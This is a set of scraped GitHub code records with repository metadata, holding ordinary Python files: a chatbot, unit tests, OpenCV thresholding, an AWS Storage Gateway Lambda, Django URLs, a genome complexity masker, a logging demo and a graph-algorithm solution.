(batch, dim) => (batch,) : Similarity\n        return sim\n\n\n    def get_max(self, sim, max_sim, max_idx, batch_idx):\n        v, i = torch.max(sim, dim=-1)\n        if max_sim < v.item():\n            max_sim = v.item()\n            max_idx = i.item() + (self.batch_size * batch_idx)\n\n        return max_sim, max_idx\n\n\n    def inference(self, loader, text):\n        self.eval()\n        self.set_user_embed(text)\n        max_sim = 0\n        max_idx = 0\n\n        with torch.no_grad():\n            for b_idx, data in enumerate(loader):\n                data = data.to(self.device)\n\n                batch_sim = self(data)\n\n                max_sim, max_idx = self.get_max(batch_sim, max_sim, max_idx, b_idx)\n        answer = self.dataset.get_answer(max_idx)\n        return answer, max_sim, max_idx\n\n\n    def chat(self, s=False, t=False):\n        \"\"\"\n        Ultimately, the method used by the user\n        :param s: Whether to output similarity\n        :param t: Whether to output the output time\n        \"\"\"\n        while (True):\n            user = input(\"USER >>> \")\n            if user == 'exit' or user == 'quit':\n                break\n\n            f = time.time()\n            answer, sim, _ = self.inference(self.loader, user)\n            f = time.time() - f\n\n            print(\" BOT >>>\", answer)\n            if s : print(\"\\t유사도 : {:.4f}%\".format(sim * 100))\n            if t : print(\"\\t추론 시간 :\", f)\n\n\ndef main():\n    device = 'cuda' if torch.cuda.is_available() else 'cpu'\n    model = My_ChatBot(device=device, embed_dim=64)\n    model.to(device)\n\n    model.chat(True, True)\n\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "JoSangYeon/BERT_Based_ChatBot", "sub_path": "ChatBot.py", "file_name": "ChatBot.py", "file_ext": "py", "file_size_in_byte": 3079, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "data.dataset.MyDataset", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 24, "usage_type": "call"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils.data.load", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.utils.data.tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.utils.data.max", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.utils.data.no_grad", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 68, "usage_type": "name"}, {"api_name": "data.dataset", "line_number": 69, "usage_type": "name"}, {"api_name": "data.dataset", "line_number": 70, "usage_type": "name"}, {"api_name": "data.dataset.to", "line_number": 70, "usage_type": "call"}, {"api_name": "data.dataset", "line_number": 72, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.utils.data.cuda.is_available", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.utils.data.cuda", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 100, "usage_type": "name"}]}
{"seq_id": "72631520572", "text": "# Python Unit Tests\n# Written for INFOTC4320 Module 13\n# Written by: Jacob McIntosh jam6m4\n# ---------------------------------------------\n\n\n# imports\nimport unittest\nimport inputs\nfrom datetime import date\n\n\nclass InputTest(unittest.TestCase):\n\n    def setUp(self):\n        self.symbol = \"AAPL\"\n        self.chart_type = \"1\"\n        self.time_series = \"2\"\n        self.start_date = \"2020-3-20\"\n        self.end_date = \"2021-10-18\"\n\n    def test_symbol(self):\n        print(\"Checking symbol...\")\n        self.assertEqual(inputs.symbol(self.symbol), self.symbol)\n\n    def test_chart_type(self):\n        print(\"Checking chart type...\")\n\n        if self.chart_type == \"1\":\n            self.assertEqual(inputs.chart_type(self.chart_type), \"Line\")\n        elif self.chart_type == \"2\":\n            self.assertEqual(inputs.chart_type(self.chart_type), \"Bar\")\n\n    def test_time_series(self):\n        print(\"Checking time series\")\n\n        if self.time_series == \"1\":\n            self.assertEqual(inputs.time_series(self.time_series), \"Intraday\")\n        elif self.time_series == \"2\":\n            self.assertEqual(inputs.time_series(self.time_series), \"Daily\")\n        elif self.time_series == \"3\":\n            self.assertEqual(inputs.time_series(self.time_series), \"Weekly\")\n        elif self.time_series == \"4\":\n            self.assertEqual(inputs.time_series(self.time_series), \"Monthly\")\n        \n    def test_start_date(self):\n        print(\"Checking start date...\")\n\n        y = int(self.start_date.split(\"-\")[0])\n        m = int(self.start_date.split(\"-\")[1])\n        d = int(self.start_date.split(\"-\")[2])\n\n        s_date = date(y, m, d)\n        s_date = s_date.strftime('%Y-%m-%d')\n\n        self.assertEqual(inputs.start_date(self.start_date), s_date)\n\n    def test_start_date(self):\n        print(\"Checking end date...\")\n\n        y = int(self.end_date.split(\"-\")[0])\n        m = int(self.end_date.split(\"-\")[1])\n        d = int(self.end_date.split(\"-\")[2])\n\n        e_date = date(y, m, d)\n        e_date = e_date.strftime('%Y-%m-%d')\n\n        self.assertEqual(inputs.end_date(self.end_date), e_date)\n\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n", "repo_name": "jandrewm12/python_unit_tests", "sub_path": "mod13_jam6m4.py", "file_name": "mod13_jam6m4.py", "file_ext": "py", "file_size_in_byte": 2153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 13, "usage_type": "attribute"}, {"api_name": "inputs.symbol", "line_number": 24, "usage_type": "call"}, {"api_name": "inputs.chart_type", "line_number": 30, "usage_type": "call"}, {"api_name": "inputs.chart_type", "line_number": 32, "usage_type": "call"}, {"api_name": "inputs.time_series", "line_number": 38, "usage_type": "call"}, {"api_name": "inputs.time_series", "line_number": 40, "usage_type": "call"}, {"api_name": "inputs.time_series", "line_number": 42, "usage_type": "call"}, {"api_name": "inputs.time_series", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 53, "usage_type": "call"}, {"api_name": "inputs.start_date", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 65, "usage_type": "call"}, {"api_name": "inputs.end_date", "line_number": 68, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "2886167673", "text": "import cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef read_image() -> np.ndarray:\n    return cv.imread(\"LegosGrises 1.jpg\")\n\n\ndef plot_histogram(image: np.ndarray) -> None:\n    histogram = cv.calcHist([image], [0], None, [256], [0, 256])\n    plt.plot(histogram)\n\n\ndef apply_threshold(image: np.ndarray, min: int, max: int) -> np.ndarray:\n    _, image_thresh = cv.threshold(image, min, max, cv.THRESH_BINARY)\n    return image_thresh\n\n\ndef main() -> None:\n    image = read_image()\n    plot_histogram(image)\n    image_thresh = apply_threshold(image, 100, 130)\n\n    cv.imshow(\"image\", image_thresh)\n    plt.show()\n\n    while True:\n        k = cv.waitKey(0) & 0xFF\n        if k == 27:\n            cv.destroyAllWindows()\n            break\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "FelipeSanchezSoberanis/vision-por-computadora", "sub_path": "01_operaciones_pixel_a_pixel/punto_4.py", "file_name": "punto_4.py", "file_ext": "py", "file_size_in_byte": 793, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.calcHist", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "cv2.waitKey", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 31, "usage_type": "call"}]}
{"seq_id": "23398948219", "text": "import time\nimport json\nimport boto3\nimport cfnresponse\nfrom datetime import datetime\nfrom dateutil import tz\ngatewayClient = boto3.client('storagegateway')\ndef create(properties, physical_id):\n    activationKey = properties['ActivationKey']\n    instanceRegion = properties['InstanceRegion']\n    gatewayName = properties['GatewayName']\n    gatewayTimezone = properties['GatewayTimezone']\n    zone=datetime.now(tz.gettz(gatewayTimezone)).strftime('%z')                        \n    timezonesign = zone[0:1]\n    timezonehour = str(int(zone[1:3]))\n    timezoneminute = zone[3:5]\n    gatewayTimezoneOffset = f'GMT{timezonesign}{timezonehour}:{timezoneminute}'\n    print(f'GatewayTimezoneOffset = {gatewayTimezoneOffset}')\n    gatewayARN = gatewayClient.activate_gateway(\n        ActivationKey=activationKey,\n        GatewayName=gatewayName,\n        GatewayTimezone=gatewayTimezoneOffset,\n        GatewayRegion=instanceRegion,\n        GatewayType='FILE_S3'\n    )['GatewayARN']\n    print(f'Gateway ARN = {gatewayARN}, Gateway Name = {gatewayName}')\n    returnAttribute = {}\n    returnAttribute['Arn'] = gatewayARN\n    returnAttribute['Name'] = gatewayName\n    returnAttribute['Action'] = 'CREATE'\n    return cfnresponse.SUCCESS, gatewayARN, returnAttribute\ndef update(properties, physical_id):\n    gatewayARN = physical_id\n    gatewayName = properties['GatewayName']\n    gatewayTimezone = properties['GatewayTimezone']\n    zone=datetime.now(tz.gettz(gatewayTimezone)).strftime('%z')\n    timezonesign = zone[0:1]\n    timezonehour = str(int(zone[1:3]))\n    timezoneminute = zone[3:5]\n    gatewayTimezoneOffset = f'GMT{timezonesign}{timezonehour}:{timezoneminute}'\n    gatewayName = gatewayClient.update_gateway_information(\n        GatewayARN=gatewayARN,                        \n        GatewayName=gatewayName,\n        GatewayTimezone=gatewayTimezoneOffset\n    )['GatewayName'] \n    returnAttribute = {}\n    returnAttribute['Arn'] = gatewayARN\n    returnAttribute['Name'] = gatewayName                                                                   \n    returnAttribute['Action'] = 'UPDATE'\n    return cfnresponse.SUCCESS, gatewayARN, returnAttribute\ndef delete(properties, physical_id):\n    gatewayARN = physical_id\n    gatewayName = properties['GatewayName']\n    gatewayARN = gatewayClient.delete_gateway(\n        GatewayARN=gatewayARN\n    )['GatewayARN']                        \n    returnAttribute = {}\n    returnAttribute['Arn'] = gatewayARN\n    returnAttribute['Name'] = gatewayName                                                                   \n    returnAttribute['Action'] = 'DELETE'\n    return cfnresponse.SUCCESS, gatewayARN, returnAttribute\ndef handler(event, context):\n    print('Received event: ' + json.dumps(event))\n    status = cfnresponse.FAILED\n    new_physical_id = None\n    returnAttribute = {}\n    try:\n        properties = event.get('ResourceProperties')\n        physical_id = event.get('PhysicalResourceId')\n        status, new_physical_id, returnAttribute = {\n            'Create': create,\n            'Update': update,\n            'Delete': delete\n        }.get(event['RequestType'], lambda x, y: (cfnresponse.FAILED, None))(properties, physical_id)\n    except Exception as e:\n        print('Exception: ' + str(e))\n        status = cfnresponse.FAILED\n    finally:\n        cfnresponse.send(event, context, status, returnAttribute, new_physical_id)", "repo_name": "dbinoy/uipath-aws-delpoyment-quickstart", "sub_path": "functions/ActivateGatewayFunction.py", "file_name": "ActivateGatewayFunction.py", "file_ext": "py", "file_size_in_byte": 3371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "boto3.client", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "dateutil.tz.gettz", "line_number": 13, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 13, "usage_type": "name"}, {"api_name": "cfnresponse.SUCCESS", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "dateutil.tz.gettz", "line_number": 36, "usage_type": "call"}, {"api_name": "dateutil.tz", "line_number": 36, "usage_type": "name"}, {"api_name": "cfnresponse.SUCCESS", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cfnresponse.SUCCESS", "line_number": 61, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 63, "usage_type": "call"}, {"api_name": "cfnresponse.FAILED", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cfnresponse.FAILED", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cfnresponse.FAILED", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cfnresponse.send", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "23831898338", "text": "import debug_toolbar\n\nfrom django.urls import include, path\nfrom django.contrib import admin\n\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n    path('auth/', include(('authentication.urls',\n                           \"authentication\"), namespace='authentication')),\n    path('todo/', include(('todo.urls', 'todo'), namespace='todo')),\n    path('__debug__/', include(debug_toolbar.urls)),\n]\n", "repo_name": "NirupamDebnath/jwt_authentication_django", "sub_path": "core/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 15, "usage_type": "call"}, {"api_name": "debug_toolbar.urls", "line_number": 15, "usage_type": "attribute"}]}
{"seq_id": "4723491454", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 26 10:40:24 2020\n\n@author: nelson\n\"\"\"\nimport csv\nfrom Bio import SeqIO\nfrom Bio import SeqRecord\nfrom Bio.Seq import Seq\nfrom Bio.Alphabet import generic_dna\nfrom Bio import BiopythonWarning\nimport warnings\nimport ray\nimport numpy as np\n\nclass ComplexityMasker:\n    \"\"\"This class takes a genome (multi-sequence fasta file) or a single sequence\n    as a biopython SeqRecord object and returns a .GTF interval file containing\n    annotated regions of low-complexity as well as a fasta file containing the\n    sequences contained within these intervals.\n\n    Attributes:\n        verbose: Used to print various helpful debuging statements.\n        \n        window_size: The size of the window of sequence which is\n        kmerized. The window size rougly defines the resolution of your\n        analysis. Smaller window sizes can identify smaller repeats but \n        consumes more resources. \n        \n        step_size: The amount of nucleotides that the window slides\n        over each iteration. This parameter also defines the resolution of\n        your analysis. A smaller step size increases the number of samples\n        taken from the genome, but it consumes more resources.\n        \n        cutoff: The percentage drop in complexity which is considered\n        significant enough to be annotated as a region of interest.\n        \n        kmer_length: The kmer length that is used for all analysis.\n        \n        genome: Holds the dictionary object containing the genome to be\n        analyzed.\n        \n        sequence: Holds the SeqRecord object which contains the single sequence\n        to be analyzed.\n    \"\"\"\n    def __init__(self, num_cores=8, verbose=True, window_size=10000, step_size=5000, \n                 cutoff=0.8, kmer_length=21, padding=10000):\n        \n        \"\"\"Constructs a ComplexityFilter object\"\"\"\n        self.verbose = verbose\n        self.window_size = window_size\n        self.step_size = step_size\n        self.cutoff = cutoff\n        self.kmer_length = kmer_length\n        self.padding = padding\n        self.genome = None\n        self.sequence = None\n        self.num_cores = num_cores\n    \n    \n    def load_genome(self, filepath):\n        \"\"\"Loads a genome using the Biopython SeqIO module. It is stored as\n        a dictionary with the .fasta sequence ID as the key and a SeqRecord\n        object as the value.\n        \n        Args:\n            filepath: A string which provides the filepath to the genome file\n            to be loaded.\n            \n        Returns:\n            None\n            \n        Raises:\n            FileNotFoundError: The specific filepath is invalid.\n        \"\"\"\n        print(filepath)\n        try:\n            self.genome = SeqIO.to_dict(SeqIO.parse(filepath, \"fasta\"))\n        except FileNotFoundError:\n            print(\"FileNotFoundError: the filepath you specified does not exist!\")\n            return\n        self.genome_or_sequence = \"Genome\"\n        if self.verbose: print(\"Genome loaded!\")\n    \n\n    def load_sequence(self, sequence):\n        \"\"\"Loads a single sequence as a Biopython SeqRecord object.\n        \n        Args:\n            sequence: The sequence to be loaded. Can be a generic string, \n            a biopython Seq object, or a SeqRecord object.\n            \n        Returns:\n            None\n            \n        Raises:\n            TypeError: The passed sequences was not a valid datatype.\n            \"\"\"\n        \n        if type(sequence) is SeqIO.SeqRecord:\n            self.sequence = sequence\n        elif type(sequence) is Seq:\n            self.sequence = SeqIO.SeqRecord(sequence)\n        elif type(sequence) is str:\n            sequence = Seq(sequence, alphabet=generic_dna)\n            self.sequence = SeqIO.SeqRecord(sequence)\n        else:\n            print(\"Sequence must be a biopython SeqRecord object!\")\n            raise TypeError\n\n\n    def non_canonical_kmerize(self, sequence):\n        \"\"\"PRIVATE: Generates a (non-canonical) kmer dictionary of a specified sequence.\n        \n        Args:\n            sequence: The sequence to be kmerized\n            \n        Returns:\n            kmer_dict: A kmer dictionary containing each kmer as a key and the\n            number of times it appears in the sequence as the value.\n            \n        Raises:\n            None\n        \"\"\"            \n        kmer_dict = {}\n        for i in range(0,len(sequence)-self.kmer_length):\n            kmer = sequence[i:i+self.kmer_length]\n            if kmer in kmer_dict:\n                kmer_dict[str(kmer)] += 1\n            else:\n                kmer_dict[str(kmer)] = 1\n        return kmer_dict\n    \n    \n    def generate_kmer_trace(self, sequence):\n        \"\"\"Scans the provided sequence with a resolution of the provided window\n        size and determines the number of unique kmers within that region.\n        \n        Args:\n            sequence: The sequence to be analyzed\n            \n        Returns:\n            indices, kmer_counts\n            \n        Raises:\n            None\n        \"\"\"\n        index = 0\n        sub_sequence = sequence[index:index+self.window_size]\n        kmer_counts = []\n        while(index+self.window_size < len(sequence)):\n            kmer_dict = self.non_canonical_kmerize(sub_sequence)\n            kmer_counts.append(len(kmer_dict.keys())/self.window_size)\n            index += self.step_size\n            sub_sequence = sequence[index:index+self.window_size]\n        return range(0, len(sequence), self.step_size)[0:len(kmer_counts)], kmer_counts\n    \n    @ray.remote\n    def helper_generate_kmer_trace(self, sequence):\n        \"\"\"Scans the provided sequence with a resolution of the provided window\n        size and determines the number of unique kmers within that region.\n        \n        Args:\n            sequence: The sequence to be analyzed\n            \n        Returns:\n            indices, kmer_counts\n            \n        Raises:\n            None\n        \"\"\"\n        \n        index = 0\n        sub_sequence = sequence[index:index+self.window_size]\n        kmer_trace = []\n        while(index+self.window_size < len(sequence)):\n            with warnings.catch_warnings():\n                warnings.simplefilter('ignore')\n                kmer_dict = self.non_canonical_kmerize(sub_sequence)\n            kmer_trace.append(len(kmer_dict.keys())/self.window_size)\n            index += self.step_size\n            sub_sequence = sequence[index:index+self.window_size]\n        return range(0, len(sequence), self.step_size)[0:len(kmer_trace)], kmer_trace\n    \n    \n    def multi_generate_kmer_trace(self, sequence):\n        \"\"\"Scans the provided sequence with a resolution of the provided window\n        size and determines the number of unique kmers within that region.\n        \n        Args:\n            sequence: The sequence to be analyzed\n            \n        Returns:\n            indices, kmer_counts\n            \n        Raises:\n            None\n        \"\"\"\n        #ray.shutdown()\n        #ray.init(num_cpus=self.num_cores)\n        anchors = range(0, len(sequence), self.step_size)\n        chunks = np.array_split(anchors, self.num_cores)\n        kmer_traces_obj = []\n        for chunk in chunks:\n            try:\n                kmer_traces_obj.append(self.helper_generate_kmer_trace.remote(self, sequence[chunk[0]:chunk[-1] + self.window_size + self.step_size]))\n            except IndexError:\n                kmer_traces_obj.append(self.helper_generate_kmer_trace.remote(self, sequence[chunk[0]:len(sequence)]))\n        kmer_trace = []\n        for trace in kmer_traces_obj:\n            kmer_trace += ray.get(trace)[1]\n        return range(0, len(sequence), self.step_size)[0:len(kmer_trace)], kmer_trace\n        #ray.shutdown()\n    \n    def analyze_sequence(self, contig_name, sequence, export_gtf = False, export_sequences = False):\n        \n        if self.verbose: print(\"Analyzing \" + contig_name)\n        if len(sequence) >= self.window_size * self.num_cores * 10:\n            coordinates, kmer_trace = self.multi_generate_kmer_trace(sequence)\n        else:\n            coordinates, kmer_trace = self.generate_kmer_trace(sequence)\n        intervals = self.find_ROIs(len(sequence), coordinates, kmer_trace, self.padding)\n        gtf_intervals = []\n        for interval in intervals:\n                gtf_intervals.append([contig_name, \"Low-Complexity\", \"exon\", interval[0], interval[1], 0, \"+\", \".\", \"gene_id\\\"Low_Complexity\\\"\"])\n        if self.verbose: print(\"Completed analyzing \" + contig_name)\n        return gtf_intervals\n    \n    def analyze_genome(self, cm_fasta_filename = \"Low_Complexity_Intervals.fasta\", cm_gtf_filename = \"Low_Complexity_Intervals.gtf\"):\n        \n        if self.genome == None: \n            print(\"No genome has been loaded!\") \n            return None\n        #ray.shutdown()\n        #ray.init(num_cpus=self.num_cores)\n        gtf_intervals = []\n        for contig in self.genome.keys():\n            gtf_intervals.append(self.analyze_sequence(contig, self.genome[contig].seq))\n        #ray.shutdown()\n        self.export_as_GTF(gtf_intervals, filename = cm_gtf_filename)\n        self.export_sequences(gtf_intervals, filename = cm_fasta_filename)\n            \n    #Code from Uvar (https://stackoverflow.com/questions/49071081/merging-overlapping-intervals-in-python)\n    #Merges overlapping intervals into a single super-interval.\n    def recursive_merge(self, intervals, start_index = 0):\n        for i in range(start_index, len(intervals) - 1):\n            if intervals[i][1] >= intervals[i+1][0]:\n                new_start = intervals[i][0]\n                new_end = intervals[i+1][1]\n                intervals[i] = [new_start, new_end]\n                del intervals[i+1]\n                return self.recursive_merge(intervals.copy(), start_index=i)\n        return intervals\n    \n    #Finds regions of interest (ROIs), which are 4 element tuples consisting of (Genomic Contig, Start, End, Sequence)\n    def find_ROIs(self, length, coordinates, kmer_trace, padding):\n        ROIs = []\n        for index in range(0, len(coordinates)):\n            if kmer_trace[index] < self.cutoff:\n                if coordinates[index]-padding <= 0: \n                    ROIs.append([0, padding])\n                elif coordinates[index]+padding >= length: \n                    ROIs.append([coordinates[index], length])\n                else:\n                    ROIs.append([coordinates[index] - padding, coordinates[index] + padding])\n        return self.recursive_merge(ROIs)\n    \n    def search_sequences(self, ids):\n        intervals = []\n        for contig in ids:\n            if self.verbose:\n                print(\"Analyzing \" + contig)\n            coordinates, kmer_trace = self.generate_kmer_trace(self.genome[contig].seq)\n            interval_list = self.find_ROIs(len(self.genome[contig].seq), coordinates, kmer_trace, 2 * self.window_size)\n            for interval in interval_list:\n                intervals.append([contig, \"Low-Complexity\", \"exon\", interval[0], interval[1], 0, \"+\", \".\", \"gene_id\\\"Low_Complexity\\\"\"])\n        return intervals\n    \n    def search_sequence(self, contig_name):\n        intervals = []\n        if self.verbose:\n            print(\"Analyzing sequence!\")\n        coordinates, kmer_trace = self.generate_kmer_trace(self.sequence)\n        interval_list = self.find_ROIs(len(self.sequence), coordinates, kmer_trace, 2 * self.window_size)\n        for interval in interval_list:\n            intervals.append([contig_name, \"Low-Complexity\", \"exon\", interval[0], interval[1], 0, \"+\", \".\", \"gene_id\\\"Low_Complexity\\\"\"])\n        return intervals\n    \n    def extract_sequences(self, intervals):\n        sequences = []\n        for contig in intervals:\n            for region in  contig:\n                sequence = self.genome[region[0]].seq[region[3]:region[4]]\n                record = SeqRecord.SeqRecord(sequence, id=region[0] + \",\"+str(region[3])+\",\"+str(region[4]))\n                sequences.append(record)\n        return sequences\n    \n    def export_sequences(self, intervals, filename):\n        sequences = self.extract_sequences(intervals)\n        SeqIO.write(sequences, filename, \"fasta\")\n    \n    def export_as_GTF(self, intervals, filename):\n        with open(filename, 'w', newline='') as f_output:\n            tsv_output = csv.writer(f_output, delimiter='\\t', escapechar=' ', quoting=csv.QUOTE_NONE)\n            for contig in intervals:\n                for region in  contig:\n                    tsv_output.writerow(region)\n    ", "repo_name": "rnhall/TANDEM", "sub_path": "complexitymasker.py", "file_name": "complexitymasker.py", "file_ext": "py", "file_size_in_byte": 12506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Bio.SeqIO.to_dict", "line_number": 80, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 80, "usage_type": "name"}, {"api_name": "Bio.SeqIO.parse", "line_number": 80, "usage_type": "call"}, {"api_name": "Bio.SeqIO.SeqRecord", "line_number": 102, "usage_type": "attribute"}, {"api_name": "Bio.SeqIO", "line_number": 102, "usage_type": "name"}, {"api_name": "Bio.Seq.Seq", "line_number": 104, "usage_type": "name"}, {"api_name": "Bio.SeqIO.SeqRecord", "line_number": 105, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 105, "usage_type": "name"}, {"api_name": "Bio.Seq.Seq", "line_number": 107, "usage_type": "call"}, {"api_name": "Bio.Alphabet.generic_dna", "line_number": 107, "usage_type": "name"}, {"api_name": "Bio.SeqIO.SeqRecord", "line_number": 108, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 108, "usage_type": "name"}, {"api_name": "warnings.catch_warnings", "line_number": 179, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 180, "usage_type": "call"}, {"api_name": "ray.remote", "line_number": 160, "usage_type": "attribute"}, {"api_name": "numpy.array_split", "line_number": 204, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 213, "usage_type": "call"}, {"api_name": "Bio.SeqRecord.SeqRecord", "line_number": 296, "usage_type": "call"}, {"api_name": "Bio.SeqRecord", "line_number": 296, "usage_type": "name"}, {"api_name": "Bio.SeqIO.write", "line_number": 302, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 302, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 306, "usage_type": "call"}, {"api_name": "csv.QUOTE_NONE", "line_number": 306, "usage_type": "attribute"}]}
{"seq_id": "36544714533", "text": "# -*- coding: UTF-8 -*-\nimport logging\n\nLOG_FILENAME = '/tmp/example.log'\nlogging.basicConfig(filename=LOG_FILENAME,level=logging.INFO)\nlogging.debug('This DEBUG should go to the log file')\nlogging.info('This INFO should go to the log file')\n\nlogger = logging.getLogger('jobs')\nlogger.debug(\"test\")\nlogger.info('info')\n", "repo_name": "yeahydq/autoqiandao", "sub_path": "app/job_log/dylog.py", "file_name": "dylog.py", "file_ext": "py", "file_size_in_byte": 319, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.basicConfig", "line_number": 5, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 5, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "38421156308", "text": "\r\n\"\"\"There are n servers numbered from 0 to n-1 connected by undirected server-to-server connections forming a network where connections[i] = [a, b] represents a connection between servers a and b. Any server can reach any other server directly or indirectly through the network.\r\n\r\nA critical connection is a connection that, if removed, will make some server unable to reach some other server.\r\n\r\nReturn all critical connections in the network in any order.\r\n\"\"\"\r\n\r\n\r\n# Strong connected component\r\nfrom collections import defaultdict\r\n\r\nclass Solution:\r\n    def criticalConnections(self, n: int, connections: List[List[int]]) -> List[List[int]]:\r\n        \r\n        graph = defaultdict(list)\r\n        \r\n        for i, j in connections:\r\n            graph[i].append(j)\r\n            graph[j].append(i)\r\n        \r\n        low = {} \r\n        ans = []\r\n        \r\n        def dfs(node, rank, parent): # important to pass parent\r\n            nonlocal graph, low, ans\r\n            \r\n            # if node is in low\r\n            if node not in low:\r\n                low[node] = rank\r\n                for nei in graph[node]:\r\n                    if nei != parent: # we dont use visited to track!\r\n                        actual = dfs(nei, rank + 1, node)\r\n                        # check if expect == rank + 1\r\n                        if actual >= rank + 1:\r\n                            ans.append([node, nei])\r\n                        \r\n                        # nodes in cycle all have the same rank\r\n                                        # not rank!!!\r\n                        low[node] = min(low[node], actual)\r\n                        \r\n            return low[node]\r\n\r\n        # main\r\n        dfs(connections[0][0], 0, -1)\r\n\r\n        return ans\r\n                \r\n        \r\n        \r\n        ", "repo_name": "ruozhengu/Leetcode", "sub_path": "criticalConnectionsInNetwork.py", "file_name": "criticalConnectionsInNetwork.py", "file_ext": "py", "file_size_in_byte": 1790, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 16, "usage_type": "call"}]}
